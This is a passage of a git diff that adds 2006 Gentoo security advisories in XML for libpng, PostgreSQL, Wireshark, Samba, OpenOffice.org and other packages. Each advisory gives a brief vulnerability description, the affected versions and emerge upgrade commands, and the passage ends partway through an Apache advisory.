+  <resolution>
+    <p>
+    All libTIFF users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/tiff-3.8.2-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2193">CVE-2006-2193</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2656">CVE-2006-2656</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 05 Jul 2006 16:38:15 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 05 Jul 2006 16:38:38 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200607-04.xml b/xml/htdocs/security/en/glsa/glsa-200607-04.xml
new file mode 100644
index 00000000..6a48a6d7
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200607-04.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200607-04">
+  <title>PostgreSQL: SQL injection</title>
+  <synopsis>
+    A flaw in the multibyte character handling allows execution of arbitrary
+    SQL statements.
+  </synopsis>
+  <product type="ebuild">postgresql</product>
+  <announced>July 09, 2006</announced>
+  <revised>June 26, 2007: 03</revised>
+  <bug>134168</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-db/postgresql" auto="yes" arch="*">
+      <unaffected range="ge">8.0.8</unaffected>
+      <unaffected range="eq">7.4*</unaffected>
+      <vulnerable range="lt">8.0.8</vulnerable>
+      <vulnerable range="lt">7.4.13</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PostgreSQL is an open source object-relational database management
+    system.
+    </p>
+  </background>
+  <description>
+    <p>
+    PostgreSQL contains a flaw in the string parsing routines that allows
+    certain backslash-escaped characters to be bypassed with some multibyte
+    character encodings. This vulnerability was discovered by Akio Ishida
+    and Yasuo Ohgaki.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could execute arbitrary SQL statements on the PostgreSQL
+    server. Be aware that web applications using PostgreSQL as a database
+    back-end might be used to exploit this vulnerability.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PostgreSQL users should upgrade to the latest version in the
+    respective branch they are using:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose dev-db/postgresql</code>
+    <p>
+    Note: While a fix exists for the 7.3 branch it doesn't currently work
+    on Gentoo. All 7.3.x users of PostgreSQL should consider updating their
+    installations to the 7.4 (or higher) branch as soon as possible!
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://www.postgresql.org/docs/techdocs.50">PostgreSQL technical information</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2313">CVE-2006-2313</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2314">CVE-2006-2314</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 01 Jun 2006 07:08:33 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 07 Jun 2006 19:43:38 +0000">
+    frilled
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 09 Jul 2006 16:30:11 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200607-05.xml b/xml/htdocs/security/en/glsa/glsa-200607-05.xml
new file mode 100644
index 00000000..ca549312
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200607-05.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200607-05">
+  <title>SHOUTcast server: Multiple vulnerabilities</title>
+  <synopsis>
+    The SHOUTcast server is vulnerable to a file disclosure vulnerability and
+    multiple XSS vulnerabilities.
+  </synopsis>
+  <product type="ebuild">shoutcast</product>
+  <announced>July 09, 2006</announced>
+  <revised>July 29, 2006: 03</revised>
+  <bug>136721</bug>
+  <bug>136221</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-sound/shoutcast-server-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.9.7</unaffected>
+      <vulnerable range="lt">1.9.7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    SHOUTcast server is a streaming audio server.
+    </p>
+  </background>
+  <description>
+    <p>
+    The SHOUTcast server is vulnerable to a file disclosure when the server
+    receives a specially crafted GET request. Furthermore it also fails to
+    sanitize the input passed to the "Description", "URL", "Genre", "AIM",
+    and "ICQ" fields.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By sending a specially crafted GET request to the SHOUTcast server, the
+    attacker can read any file that can be read by the SHOUTcast process.
+    Furthermore it is possible that various request variables could also be
+    exploited to execute arbitrary scripts in the context of a victim's
+    browser.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All SHOUTcast server users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-sound/shoutcast-server-bin-1.9.7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://people.ksp.sk/~goober/advisory/001-shoutcast.html">Original advisory</uri>
+    <uri link="http://secunia.com/advisories/20524/">SA20524</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3007">CVE-2006-3007</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3534">CVE-2006-3534</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3535">CVE-2006-3535</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 30 Jun 2006 16:19:23 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 30 Jun 2006 17:31:32 +0000">
+    daxomatic
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 02 Jul 2006 14:51:02 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200607-06.xml b/xml/htdocs/security/en/glsa/glsa-200607-06.xml
new file mode 100644
index 00000000..1916f82d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200607-06.xml
@@ -0,0 +1,82 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200607-06">
+  <title>libpng: Buffer overflow</title>
+  <synopsis>
+    A buffer overflow has been found in the libpng library that could lead to
+    the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">libpng</product>
+  <announced>July 19, 2006</announced>
+  <revised>July 19, 2006: 01</revised>
+  <bug>138433</bug>
+  <bug>138672</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/libpng" auto="yes" arch="*">
+      <unaffected range="ge">1.2.12</unaffected>
+      <vulnerable range="lt">1.2.12</vulnerable>
+    </package>
+    <package name="app-emulation/emul-linux-x86-baselibs" auto="yes" arch="amd64">
+      <unaffected range="ge">2.5.1</unaffected>
+      <vulnerable range="lt">2.5.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libpng is an open, extensible image format library, with lossless
+    compression.
+    </p>
+  </background>
+  <description>
+    <p>
+    In pngrutil.c, the function png_decompress_chunk() allocates
+    insufficient space for an error message, potentially overwriting stack
+    data, leading to a buffer overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to load a maliciously crafted PNG image, an attacker
+    could execute arbitrary code with the rights of the user, or crash the
+    application using the libpng library, such as the
+    emul-linux-x86-baselibs.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libpng users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/libpng-1.2.12&quot;</code>
+    <p>
+    All AMD64 emul-linux-x86-baselibs users should also upgrade to the
+    latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-emulation/emul-linux-x86-baselibs-2.5.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://heanet.dl.sourceforge.net/sourceforge/libpng/libpng-1.2.12-README.txt">libpng Changelog</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3334">CVE-2006-3334</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 04 Jul 2006 14:10:20 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 04 Jul 2006 18:53:23 +0000">
+    daxomatic
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 17 Jul 2006 16:54:49 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200607-07.xml b/xml/htdocs/security/en/glsa/glsa-200607-07.xml
new file mode 100644
index 00000000..fffeb17b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200607-07.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200607-07">
+  <title>xine-lib: Buffer overflow</title>
+  <synopsis>
+    A buffer overflow has been found in the libmms library shipped with
+    xine-lib, potentially resulting in the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">xine-lib</product>
+  <announced>July 20, 2006</announced>
+  <revised>July 20, 2006: 01</revised>
+  <bug>139319</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/xine-lib" auto="yes" arch="*">
+      <unaffected range="ge">1.1.2-r2</unaffected>
+      <vulnerable range="lt">1.1.2-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    xine-lib is the core library of xine, a multimedia player.
+    </p>
+  </background>
+  <description>
+    <p>
+    There is a stack based overflow in the libmms library included with
+    xine-lib which can be triggered by malicious use of the send_command,
+    string_utf16, get_data and get_media_packet functions.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could design a malicious media file that would
+    trigger the overflow, potentially resulting in the execution of
+    arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All xine-lib users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/xine-lib-1.1.2-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2200">CVE-2006-2200</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 12 Jul 2006 17:17:02 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 12 Jul 2006 20:18:19 +0000">
+    daxomatic
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 17 Jul 2006 16:55:34 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200607-08.xml b/xml/htdocs/security/en/glsa/glsa-200607-08.xml
new file mode 100644
index 00000000..6134e6aa
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200607-08.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200607-08">
+  <title>GIMP: Buffer overflow</title>
+  <synopsis>
+    GIMP is prone to a buffer overflow which may lead to the execution of
+    arbitrary code when loading specially crafted XCF files.
+  </synopsis>
+  <product type="ebuild">gimp</product>
+  <announced>July 23, 2006</announced>
+  <revised>July 24, 2006: 02</revised>
+  <bug>139524</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/gimp" auto="yes" arch="*">
+      <unaffected range="ge">2.2.12</unaffected>
+      <vulnerable range="lt">2.2.12</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GIMP is the GNU Image Manipulation Program. XCF is the native image
+    file format used by GIMP.
+    </p>
+  </background>
+  <description>
+    <p>
+    Henning Makholm discovered that the "xcf_load_vector()" function is
+    vulnerable to a buffer overflow when loading a XCF file with a large
+    "num_axes" value.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit this issue to execute arbitrary code by
+    enticing a user to open a specially crafted XCF file.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GIMP users should update to the latest stable version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/gimp-2.2.12&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3404">CVE-2006-3404</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 12 Jul 2006 17:07:39 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 12 Jul 2006 18:38:18 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 12 Jul 2006 19:27:03 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200607-09.xml b/xml/htdocs/security/en/glsa/glsa-200607-09.xml
new file mode 100644
index 00000000..c80a1d05
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200607-09.xml
@@ -0,0 +1,91 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200607-09">
+  <title>Wireshark: Multiple vulnerabilities</title>
+  <synopsis>
+    Wireshark (formerly known as Ethereal) is vulnerable to several security
+    issues, potentially allowing the execution of arbitrary code by a remote
+    attacker.
+  </synopsis>
+  <product type="ebuild">wireshark ethereal</product>
+  <announced>July 25, 2006</announced>
+  <revised>July 25, 2006: 01</revised>
+  <bug>140856</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/wireshark" auto="yes" arch="*">
+      <unaffected range="ge">0.99.2</unaffected>
+      <vulnerable range="lt">0.99.2</vulnerable>
+    </package>
+    <package name="net-analyzer/ethereal" auto="yes" arch="*">
+      <vulnerable range="le">0.99.0-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Wireshark, formerly known as Ethereal, is a popular network protocol
+    analyzer.
+    </p>
+  </background>
+  <description>
+    <p>
+    Wireshark dissectors have been found vulnerable to a large number of
+    exploits, including off-by-one errors, buffer overflows, format string
+    overflows and an infinite loop.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    Running an affected version of Wireshark or Ethereal could allow for a
+    remote attacker to execute arbitrary code on the user's computer by
+    sending specially crafted packets.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Wireshark users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/wireshark-0.99.2&quot;</code>
+    <p>
+    All Ethereal users should migrate to Wireshark:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --unmerge net-analyzer/ethereal
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/wireshark-0.99.2&quot;</code>
+    <p>
+    To keep the [saved] configuration from Ethereal and reuse it with
+    Wireshark:
+    </p>
+    <code>
+    # mv ~/.ethereal ~/.wireshark</code>
+  </resolution>
+  <references>
+    <uri link="http://www.wireshark.org/security/wnpa-sec-2006-01.html">Wireshark wnpa-sec-2006-01</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3627">CVE-2006-3627</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3628">CVE-2006-3628</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3629">CVE-2006-3629</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3630">CVE-2006-3630</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3631">CVE-2006-3631</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3632">CVE-2006-3632</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 19 Jul 2006 16:53:04 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 19 Jul 2006 18:04:14 +0000">
+    dizzutch
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 22 Jul 2006 20:10:22 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200607-10.xml b/xml/htdocs/security/en/glsa/glsa-200607-10.xml
new file mode 100644
index 00000000..ddb03ef8
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200607-10.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200607-10">
+  <title>Samba: Denial of Service vulnerability</title>
+  <synopsis>
+    A large number of share connection requests could cause a Denial of Service
+    within Samba.
+  </synopsis>
+  <product type="ebuild">samba</product>
+  <announced>July 25, 2006</announced>
+  <revised>July 25, 2006: 01</revised>
+  <bug>139369</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-fs/samba" auto="yes" arch="*">
+      <unaffected range="ge">3.0.22-r3</unaffected>
+      <vulnerable range="lt">3.0.22-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Samba is a freely available SMB/CIFS implementation which allows
+    seamless interoperability of file and print services to other SMB/CIFS
+    clients.
+    </p>
+  </background>
+  <description>
+    <p>
+    During an internal audit the Samba team discovered that a flaw in the
+    way Samba stores share connection requests could lead to a Denial of
+    Service.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By sending a large amount of share connection requests to a vulnerable
+    Samba server, an attacker could cause a Denial of Service due to memory
+    consumption.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Samba users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-fs/samba-3.0.22-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3403">CVE-2006-3403</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 23 Jul 2006 19:09:42 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 23 Jul 2006 19:57:17 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 23 Jul 2006 19:57:30 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200607-11.xml b/xml/htdocs/security/en/glsa/glsa-200607-11.xml
new file mode 100644
index 00000000..74cd04c4
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200607-11.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200607-11">
+  <title>TunePimp: Buffer overflow</title>
+  <synopsis>
+    A vulnerability in TunePimp has been reported which could lead to the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">Tunepimp</product>
+  <announced>July 28, 2006</announced>
+  <revised>June 01, 2007: 02</revised>
+  <bug>140184</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/tunepimp" auto="yes" arch="*">
+      <unaffected range="ge">0.5.0</unaffected>
+      <vulnerable range="le">0.4.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The TunePimp library (also referred to as libtunepimp) is a development
+    library geared towards developers who wish to create MusicBrainz
+    enabled tagging applications.
+    </p>
+  </background>
+  <description>
+    <p>
+    Kevin Kofler has reported a vulnerability where three stack variables
+    are allocated with 255, 255 and 100 bytes respectively, yet 256 bytes
+    are read into each. This could lead to buffer overflows.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Running an affected version of TunePimp could lead to the execution of
+    arbitrary code by a remote attacker.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All tunepimp users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/tunepimp-0.5.&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3600">CVE-2006-3600</uri>
+    <uri link="http://bugs.musicbrainz.org/ticket/1764">MusicBrainz bug #1764</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 25 Jul 2006 17:18:27 +0000">
+    dizzutch
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 27 Jul 2006 17:51:46 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200607-12.xml b/xml/htdocs/security/en/glsa/glsa-200607-12.xml
new file mode 100644
index 00000000..931e37d6
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200607-12.xml
@@ -0,0 +1,83 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200607-12">
+  <title>OpenOffice.org: Multiple vulnerabilities</title>
+  <synopsis>
+    OpenOffice.org is affected by three security vulnerabilities which can be
+    exploited to allow the execution of arbitrary code by a remote attacker.
+  </synopsis>
+  <product type="ebuild">OpenOffice.org</product>
+  <announced>July 28, 2006</announced>
+  <revised>July 28, 2006: 01</revised>
+  <bug>138545</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-office/openoffice" auto="yes" arch="*">
+      <unaffected range="ge">2.0.3</unaffected>
+      <vulnerable range="lt">2.0.3</vulnerable>
+    </package>
+    <package name="app-office/openoffice-bin" auto="yes" arch="*">
+      <unaffected range="ge">2.0.3</unaffected>
+      <vulnerable range="lt">2.0.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenOffice.org is an open source office productivity suite, including
+    word processing, spreadsheet, presentation, drawing, data charting,
+    formula editing, and file conversion facilities.
+    </p>
+  </background>
+  <description>
+    <p>
+    Internal security audits by OpenOffice.org have discovered three
+    security vulnerabilities related to Java applets, macros and the XML
+    file format parser.
+    </p>
+    <ul><li>Specially crafted Java applets can
+    break through the "sandbox".</li>
+    <li>Specially crafted macros make it
+    possible to inject BASIC code into documents which is executed when the
+    document is loaded.</li>
+    <li>Loading a malformed XML file can cause a
+    buffer overflow.</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker might exploit these vulnerabilities to escape the Java
+    sandbox, execute arbitrary code or BASIC code with the permissions of
+    the user running OpenOffice.org.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Disabling Java applets will protect against the vulnerability in the
+    handling of Java applets. There are no workarounds for the macro and
+    file format vulnerabilities.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenOffice.org users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/openoffice-2.0.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.openoffice.org/security/bulletin-20060629.html">OpenOffice.org Security Bulletin 2006-06-29</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=2006-2199">CVE-2006-2199</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=2006-2198">CVE-2006-2198</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=2006-3117">CVE-2006-3117</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 19 Jul 2006 12:40:14 +0000">
+    dizzutch
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 20 Jul 2006 16:32:57 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200607-13.xml b/xml/htdocs/security/en/glsa/glsa-200607-13.xml
new file mode 100644
index 00000000..a2bf281f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200607-13.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200607-13">
+  <title>Audacious: Multiple heap and buffer overflows</title>
+  <synopsis>
+    The adplug library included in Audacious is vulnerable to various overflows
+    that could result in the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">audacious</product>
+  <announced>July 29, 2006</announced>
+  <revised>July 29, 2006: 01</revised>
+  <bug>139957</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-sound/audacious" auto="yes" arch="*">
+      <unaffected range="ge">1.1.0</unaffected>
+      <vulnerable range="lt">1.1.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Audacious is a media player that has been forked from Beep Media
+    Player.
+    </p>
+  </background>
+  <description>
+    <p>
+    Luigi Auriemma has found that the adplug library fails to verify the
+    size of the destination buffers in the unpacking instructions,
+    resulting in various possible heap and buffer overflows.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker can entice a user to load a specially crafted media file,
+    resulting in a crash or possible execution of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Audacious users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-sound/audacious-1.1.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.securityfocus.com/archive/1/439432/30/0/threaded">BugTraq Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3581">CVE-2006-3581</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3582">CVE-2006-3582</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 12 Jul 2006 17:07:27 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 16 Jul 2006 10:46:17 +0000">
+    daxomatic
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 17 Jul 2006 16:55:12 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200608-01.xml b/xml/htdocs/security/en/glsa/glsa-200608-01.xml
new file mode 100644
index 00000000..640e69ee
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200608-01.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200608-01">
+  <title>Apache: Off-by-one flaw in mod_rewrite</title>
+  <synopsis>
+    A flaw in mod_rewrite could result in a Denial of Service or the execution
+    of arbitrary code.
+  </synopsis>
+  <product type="ebuild">apache</product>
+  <announced>August 01, 2006</announced>
+  <revised>December 30, 2007: 02</revised>
+  <bug>141986</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-servers/apache" auto="yes" arch="*">
+      <unaffected range="rge">1.3.34-r14</unaffected>
+      <unaffected range="rge">1.3.37</unaffected>
